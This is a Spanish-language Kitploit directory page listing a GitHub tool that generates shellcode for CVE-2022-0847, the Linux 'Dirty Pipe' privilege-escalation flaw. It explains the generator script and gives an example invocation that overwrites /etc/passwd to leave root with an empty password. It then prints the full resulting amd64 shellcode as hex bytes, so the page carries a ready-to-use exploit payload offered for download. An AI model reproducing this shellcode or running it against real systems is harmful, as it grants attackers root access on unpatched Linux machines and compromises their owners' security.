Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve_2022_0847_shellcode — Implementación de CVE-2022-0847 como shellcode | Kitploit
Herramientas/GitHubGitHub/shotokhan/cve_2022_0847_shellcode
Escalada de PrivilegiosGeneración de PayloadsAnálisis de VulnerabilidadesExplotaciónShellcodeExplotación de Binarios
GitHubshotokhan/cve_2022_0847_shellcode

cve_2022_0847_shellcode

Implementación de CVE-2022-0847 como shellcode

Ver Repositorio
3247hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

cve_2022_0847_shellcode

Descripción

Este repositorio contiene un script de Python (gen_shellcode.py), basado en pwntools, para generar un shellcode que implementa CVE-2022-0847.
El shellcode está basado en este PoC: antx.
Analicé el código del PoC y su ejecución con strace para capturar todas las llamadas al sistema necesarias para hacer el exploit, y al principio escribí un programa en C que usa syscall.h; aún no era adecuado para un shellcode, pero sirve como referencia, así que lo incluí aquí (tiny_cve-2022-0847.c).
La función que genera el shellcode toma 3 parámetros: ruta del archivo donde escribir, datos a escribir y desplazamiento en el que deben escribirse los datos.
Un ejemplo de shellcode generado, en formato desensamblado de objdump, se puede encontrar en shellcode.asm; fue generado con los siguientes parámetros:

  • nombre de archivo /etc/passwd
  • datos :$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n
  • desplazamiento 4

Deja la raíz con una contraseña vacía.

Uso

root@kitploit:~
$ python gen_shellcode.py 
Usage: gen_shellcode.py filename data offset [verbose (any value here sets verbose to True)]

Puedes importar la función cve_2022_0847, que genera el shellcode, para llamarla en otros scripts, o usar directamente este script; hay una función example_usage que llama a cve_2022_0847 y crea un ELF con el shellcode.
La función cve_2022_0847 también realiza algunas comprobaciones básicas de cordura, e imprime lo que puede salir mal con el exploit y el shellcode desensamblado si se establece el parámetro verbose.
Devuelve el shellcode ensamblado. La función main llama a cve_2022_0847 con los parámetros de línea de comandos e imprime el shellcode resultante en hexadecimal estilo C, es decir, sin decodificar bytes imprimibles. Por ejemplo:

root@kitploit:~
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Resulting shellcode:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05

Aviso

La arquitectura soportada es solo amd64.

Descargar herramienta